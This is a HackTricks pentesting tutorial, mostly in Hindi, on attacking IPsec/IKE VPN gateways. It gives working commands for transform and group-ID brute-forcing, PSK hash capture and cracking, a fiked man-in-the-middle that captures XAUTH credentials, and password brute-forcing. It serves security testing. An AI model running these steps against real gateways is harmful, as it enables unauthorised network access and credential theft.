500/udp - Pentesting IPsec/IKE VPN

Reading time: 16 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Basic Information

IPsec को नेटवर्कों (LAN-to-LAN) के बीच और दूरस्थ उपयोगकर्ताओं से नेटवर्क गेटवे (दूरस्थ पहुंच) तक संचार को सुरक्षित करने के लिए मुख्य तकनीक के रूप में व्यापक रूप से मान्यता प्राप्त है, जो उद्यम VPN समाधानों के लिए रीढ़ के रूप में कार्य करता है।

दो बिंदुओं के बीच सुरक्षा संघ (SA) की स्थापना IKE द्वारा प्रबंधित की जाती है, जो ISAKMP के तहत कार्य करता है, जो प्रमाणीकरण और कुंजी विनिमय के लिए डिज़ाइन किया गया एक प्रोटोकॉल है। यह प्रक्रिया कई चरणों में होती है:

  • चरण 1: दो अंत बिंदुओं के बीच एक सुरक्षित चैनल बनाया जाता है। यह एक प्री-शेयर की (PSK) या प्रमाणपत्रों के उपयोग के माध्यम से प्राप्त किया जाता है, मुख्य मोड का उपयोग करते हुए, जिसमें तीन संदेश जोड़े शामिल होते हैं, या आक्रामक मोड
  • चरण 1.5: हालांकि यह अनिवार्य नहीं है, इस चरण को विस्तारित प्रमाणीकरण चरण के रूप में जाना जाता है, जो उपयोगकर्ता की पहचान की पुष्टि करता है जो कनेक्ट करने का प्रयास कर रहा है, एक उपयोगकर्ता नाम और पासवर्ड की आवश्यकता होती है।
  • चरण 2: यह चरण डेटा को ESP और AH के साथ सुरक्षित करने के लिए पैरामीटर पर बातचीत करने के लिए समर्पित है। यह परफेक्ट फॉरवर्ड सीक्रेसी (PFS) सुनिश्चित करने के लिए चरण 1 में उपयोग किए गए एल्गोरिदम से भिन्न एल्गोरिदम के उपयोग की अनुमति देता है, जिससे सुरक्षा बढ़ती है।

डिफ़ॉल्ट पोर्ट: 500/udp

nmap का उपयोग करके सेवा का खोज करें

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

एक मान्य परिवर्तन ढूंढना

IPSec कॉन्फ़िगरेशन केवल एक या कुछ परिवर्तनों को स्वीकार करने के लिए तैयार किया जा सकता है। एक परिवर्तन मानों का एक संयोजन है। प्रत्येक परिवर्तन में कई विशेषताएँ होती हैं जैसे DES या 3DES को एन्क्रिप्शन एल्गोरिदम के रूप में, SHA या MD5 को अखंडता एल्गोरिदम के रूप में, एक पूर्व-शेयर की को प्रमाणीकरण प्रकार के रूप में, Diffie-Hellman 1 या 2 को कुंजी वितरण एल्गोरिदम के रूप में और 28800 सेकंड को जीवनकाल के रूप में।

फिर, आपको जो पहला काम करना है वह है एक मान्य परिवर्तन ढूंढना, ताकि सर्वर आपसे बात कर सके। ऐसा करने के लिए, आप उपकरण ike-scan का उपयोग कर सकते हैं। डिफ़ॉल्ट रूप से, Ike-scan मुख्य मोड में काम करता है, और एक पैकेट को गेटवे पर ISAKMP हेडर और इसके अंदर आठ परिवर्तनों के साथ एकल प्रस्ताव के साथ भेजता है।

प्रतिक्रिया के आधार पर, आप एंडपॉइंट के बारे में कुछ जानकारी प्राप्त कर सकते हैं:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

जैसा कि आप पिछले उत्तर में देख सकते हैं, एक फ़ील्ड है जिसे AUTH कहा जाता है और इसका मान PSK है। इसका मतलब है कि vpn को एक प्रीशेयर की का उपयोग करके कॉन्फ़िगर किया गया है (और यह एक pentester के लिए वास्तव में अच्छा है)।
अंतिम पंक्ति का मान भी बहुत महत्वपूर्ण है:

  • 0 returned handshake; 0 returned notify: इसका मतलब है कि लक्ष्य IPsec गेटवे नहीं है
  • 1 returned handshake; 0 returned notify: इसका मतलब है कि लक्ष्य IPsec के लिए कॉन्फ़िगर किया गया है और IKE वार्ता करने के लिए इच्छुक है, और आप द्वारा प्रस्तावित एक या अधिक ट्रांसफॉर्म स्वीकार्य हैं (एक मान्य ट्रांसफॉर्म आउटपुट में दिखाया जाएगा)।
  • 0 returned handshake; 1 returned notify: VPN गेटवे तब एक नोटिफाई संदेश के साथ प्रतिक्रिया करते हैं जब कोई भी ट्रांसफॉर्म स्वीकार्य नहीं है (हालांकि कुछ गेटवे ऐसा नहीं करते हैं, इस मामले में आगे विश्लेषण और एक संशोधित प्रस्ताव का प्रयास किया जाना चाहिए)।

फिर, इस मामले में हमारे पास पहले से ही एक मान्य ट्रांसफॉर्म है लेकिन यदि आप तीसरे मामले में हैं, तो आपको एक मान्य ट्रांसफॉर्म खोजने के लिए थोड़ा ब्रूट-फोर्स करना होगा:

सबसे पहले, आपको सभी संभावित ट्रांसफॉर्मेशन बनाने की आवश्यकता है:

bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

और फिर प्रत्येक को ike-scan का उपयोग करके ब्रूट-फोर्स करें (इसमें कई मिनट लग सकते हैं):

bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

यदि ब्रूट-फोर्स काम नहीं करता है, तो शायद सर्वर बिना हैंडशेक के भी मान्य ट्रांसफॉर्म्स का उत्तर दे रहा है। फिर, आप आक्रामक मोड का उपयोग करके वही ब्रूट-फोर्स आजमा सकते हैं:

bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

उम्मीद है कि एक मान्य परिवर्तन वापस दर्शाया जाएगा
आप iker.py का उपयोग करके समान हमला करने की कोशिश कर सकते हैं।
आप ikeforce के साथ परिवर्तनों को ब्रूट फोर्स करने की भी कोशिश कर सकते हैं:

bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help

In DH Group: 14 = 2048-bit MODP and 15 = 3072-bit
2 = HMAC-SHA = SHA1 (इस मामले में)। --trans प्रारूप है $Enc,$Hash,$Auth,$DH

Cisco यह संकेत करता है कि DH समूह 1 और 2 का उपयोग करने से बचें क्योंकि वे पर्याप्त मजबूत नहीं हैं। विशेषज्ञों का मानना है कि जिन देशों के पास बहुत सारे संसाधन हैं, वे आसानी से इन कमजोर समूहों का उपयोग करने वाले डेटा की एन्क्रिप्शन को तोड़ सकते हैं। यह एक विशेष विधि का उपयोग करके किया जाता है जो उन्हें कोड को जल्दी से क्रैक करने के लिए तैयार करती है। हालांकि इस विधि को स्थापित करने में बहुत पैसा खर्च होता है, यह इन शक्तिशाली देशों को वास्तविक समय में एन्क्रिप्टेड डेटा पढ़ने की अनुमति देती है यदि यह किसी कमजोर समूह (जैसे 1,024-बिट या छोटे) का उपयोग कर रहा है।

सर्वर फिंगरप्रिंटिंग

फिर, आप ike-scan का उपयोग करके उपकरण के विक्रेता का पता लगाने की कोशिश कर सकते हैं। उपकरण एक प्रारंभिक प्रस्ताव भेजता है और पुनः खेलने से रुक जाता है। फिर, यह प्राप्त संदेशों से सर्वर और मिलान प्रतिक्रिया पैटर्न के बीच समय के अंतर का विश्लेषण करेगा, पेंटेस्टर सफलतापूर्वक VPN गेटवे विक्रेता का फिंगरप्रिंट बना सकता है। इसके अलावा, कुछ VPN सर्वर IKE के साथ वैकल्पिक विक्रेता आईडी (VID) पेलोड का उपयोग करेंगे।

यदि आवश्यक हो तो मान्य परिवर्तन निर्दिष्ट करें (using --trans)

यदि IKE यह पता लगाता है कि विक्रेता कौन है, तो यह इसे प्रिंट करेगा:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

यह nmap स्क्रिप्ट ike-version के साथ भी प्राप्त किया जा सकता है

सही ID (समूह नाम) खोजना

हैश को कैप्चर करने की अनुमति पाने के लिए आपको एक मान्य ट्रांसफॉर्मेशन की आवश्यकता है जो आक्रामक मोड का समर्थन करता है और सही ID (समूह नाम) होना चाहिए। आपको शायद मान्य समूह नाम नहीं पता होगा, इसलिए आपको इसे ब्रूट-फोर्स करना होगा।
इसके लिए, मैं आपको 2 विधियाँ सुझाऊंगा:

ike-scan के साथ ID का ब्रूटफोर्सिंग

सबसे पहले, एक नकली ID के साथ एक अनुरोध करने की कोशिश करें जिससे हैश इकट्ठा किया जा सके ("-P"):

bash
ike-scan -P -M -A -n fakeID <IP>

यदि कोई हैश वापस नहीं किया गया है, तो शायद यह ब्रूट फोर्सिंग की विधि काम करेगी। यदि कुछ हैश वापस किया गया है, तो इसका मतलब है कि एक नकली हैश एक नकली आईडी के लिए वापस भेजा जाएगा, इसलिए यह विधि आईडी को ब्रूट-फोर्स करने के लिए विश्वसनीय नहीं होगी। उदाहरण के लिए, एक नकली हैश वापस किया जा सकता है (यह आधुनिक संस्करणों में होता है):

लेकिन यदि जैसा कि मैंने कहा, कोई हैश वापस नहीं किया गया है, तो आपको ike-scan का उपयोग करके सामान्य समूह नामों को ब्रूट-फोर्स करने का प्रयास करना चाहिए।

यह स्क्रिप्ट संभावित आईडी को ब्रूट-फोर्स करने का प्रयास करेगी और उन आईडी को वापस करेगी जहाँ एक मान्य हैंडशेक वापस किया गया है (यह एक मान्य समूह नाम होगा)।

यदि आपने एक विशिष्ट परिवर्तन खोजा है, तो इसे ike-scan कमांड में जोड़ें। और यदि आपने कई परिवर्तनों की खोज की है, तो उन्हें सभी को आजमाने के लिए एक नया लूप जोड़ने में संकोच न करें (आपको तब तक सभी को आजमाना चाहिए जब तक कि उनमें से एक सही ढंग से काम न करे)।

आप सामान्य समूह नामों को ब्रूट-फोर्स करने के लिए ikeforce का शब्दकोश या seclists में एक का उपयोग कर सकते हैं:

bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Iker के साथ ID का ब्रूटफोर्सिंग

iker.py भी ike-scan का उपयोग करके संभावित समूह नामों का ब्रूटफोर्स करने के लिए उपयोग किया जाता है। यह ike-scan के आउटपुट के आधार पर एक मान्य ID खोजने के लिए अपनी विधि का पालन करता है।

ikeforce के साथ ID का ब्रूटफोर्सिंग

ikeforce.py एक उपकरण है जिसका उपयोग ID का ब्रूटफोर्स करने के लिए किया जा सकता है। यह उपकरण विभिन्न कमजोरियों का शोषण करने की कोशिश करेगा जो एक मान्य और गैर-मान्य ID के बीच अंतर करने के लिए उपयोग की जा सकती हैं (इसमें झूठे सकारात्मक और झूठे नकारात्मक हो सकते हैं, इसलिए मैं संभवतः ike-scan विधि का उपयोग करना पसंद करता हूं)।

डिफ़ॉल्ट रूप से ikeforce शुरुआत में कुछ यादृच्छिक IDs भेजेगा ताकि सर्वर के व्यवहार की जांच की जा सके और उपयोग करने के लिए रणनीति निर्धारित की जा सके।

  • पहली विधि समूह नामों को खोजने के लिए ब्रूट-फोर्स करना है Dead Peer Detection DPD की जानकारी के लिए Cisco सिस्टमों की (यह जानकारी केवल तब सर्वर द्वारा पुनः भेजी जाती है जब समूह नाम सही होता है)।
  • उपलब्ध दूसरी विधि यह है कि प्रत्येक प्रयास के लिए भेजे गए उत्तरों की संख्या की जांच करें क्योंकि कभी-कभी सही ID का उपयोग करने पर अधिक पैकेट भेजे जाते हैं।
  • तीसरी विधि गलत ID के जवाब में "INVALID-ID-INFORMATION" की खोज करने पर आधारित है।
  • अंत में, यदि सर्वर जांचों के लिए कुछ भी पुनः भेजता नहीं है, तो ikeforce सर्वर को ब्रूटफोर्स करने की कोशिश करेगा और जांच करेगा कि जब सही ID भेजी जाती है तो सर्वर कुछ पैकेट के साथ पुनः भेजता है।
    स्पष्ट है, ID का ब्रूटफोर्स करने का लक्ष्य PSK प्राप्त करना है जब आपके पास एक मान्य ID हो। फिर, ID और PSK के साथ आपको XAUTH का ब्रूटफोर्स करना होगा (यदि यह सक्षम है)।

यदि आपने एक विशिष्ट परिवर्तन खोजा है तो इसे ikeforce कमांड में जोड़ें। और यदि आपने कई परिवर्तनों की खोज की है तो उन्हें सभी को आजमाने के लिए एक नया लूप जोड़ने में संकोच न करें (आपको तब तक सभी को आजमाना चाहिए जब तक उनमें से एक सही ढंग से काम न करे)।

bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(From the book Network Security Assessment: Know Your Network): यह VPN क्लाइंट और सर्वर के बीच कनेक्शन को स्निफ़ करके मान्य उपयोगकर्ता नाम प्राप्त करना भी संभव है, क्योंकि पहले आक्रामक मोड पैकेट जिसमें क्लाइंट ID होती है, स्पष्ट रूप से भेजी जाती है।

Capturing & cracking the hash

अंत में, यदि आपने एक मान्य परिवर्तन और समूह नाम पाया है और यदि आक्रामक मोड की अनुमति है, तो आप बहुत आसानी से क्रैक करने योग्य हैश प्राप्त कर सकते हैं:

bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

हैश hash.txt के अंदर सहेजा जाएगा।

आप psk-crack, john (जिसका उपयोग ikescan2john.py) और hashcat करके हैश को क्रैक करने के लिए कर सकते हैं:

bash
psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE को Pre-Shared Key (PSK) के साथ मिलाकर group authentication के उद्देश्यों के लिए सामान्यतः उपयोग किया जाता है। इस विधि को XAuth (Extended Authentication) द्वारा बढ़ाया जाता है, जो user authentication की एक अतिरिक्त परत पेश करता है। ऐसी प्रमाणीकरण आमतौर पर Microsoft Active Directory, RADIUS, या समान प्रणालियों जैसी सेवाओं का उपयोग करती है।

IKEv2 में संक्रमण करते समय, एक महत्वपूर्ण बदलाव देखा जाता है जहाँ EAP (Extensible Authentication Protocol) का उपयोग XAuth के स्थान पर उपयोगकर्ताओं को प्रमाणित करने के लिए किया जाता है। यह परिवर्तन सुरक्षित संचार प्रोटोकॉल के भीतर प्रमाणीकरण प्रथाओं में एक विकास को उजागर करता है।

Local network MitM to capture credentials

तो आप fiked का उपयोग करके लॉगिन का डेटा कैप्चर कर सकते हैं और देख सकते हैं कि क्या कोई डिफ़ॉल्ट उपयोगकर्ता नाम है (आपको sniffing के लिए IKE ट्रैफ़िक को fiked पर पुनर्निर्देशित करने की आवश्यकता है, जिसे ARP spoofing की मदद से किया जा सकता है, more info). Fiked एक VPN endpoint के रूप में कार्य करेगा और XAuth क्रेडेंशियल्स को कैप्चर करेगा:

bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Also, using IPSec try to make a MitM attack and block all traffic to port 500, if the IPSec tunnel cannot be established maybe the traffic will be sent in clear.

Brute-forcing XAUTH username ad password with ikeforce

To brute force the XAUTH (जब आप एक मान्य समूह नाम id और psk जानते हैं) you can use a username or list of usernames and a list o passwords:

bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

इस तरह, ikeforce प्रत्येक username:password के संयोजन का उपयोग करके कनेक्ट करने की कोशिश करेगा।

यदि आपने एक या एक से अधिक मान्य ट्रांसफॉर्म पाए हैं, तो बस उन्हें पिछले चरणों की तरह उपयोग करें।

IPSEC VPN के साथ प्रमाणीकरण

Kali में, VPNC IPsec टनल स्थापित करने के लिए उपयोग किया जाता है। प्रोफाइल को निर्देशिका /etc/vpnc/ में स्थित होना चाहिए। आप vpnc कमांड का उपयोग करके इन प्रोफाइल को प्रारंभ कर सकते हैं।

निम्नलिखित कमांड और कॉन्फ़िगरेशन VPNC के साथ VPN कनेक्शन सेट करने की प्रक्रिया को दर्शाते हैं:

bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

इस सेटअप में:

  • [VPN_GATEWAY_IP] को VPN गेटवे के वास्तविक IP पते से बदलें।
  • [VPN_CONNECTION_ID] को VPN कनेक्शन के पहचानकर्ता से बदलें।
  • [VPN_GROUP_SECRET] को VPN के समूह गुप्त से बदलें।
  • [VPN_USERNAME] और [VPN_PASSWORD] को VPN प्रमाणीकरण क्रेडेंशियल्स से बदलें।
  • [PID] उस प्रक्रिया ID का प्रतीक है जो vpnc के आरंभ होने पर असाइन की जाएगी।

VPN कॉन्फ़िगर करते समय प्लेसहोल्डर्स को बदलने के लिए वास्तविक, सुरक्षित मानों का उपयोग सुनिश्चित करें।

संदर्भ सामग्री

Shodan

  • port:500 IKE

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें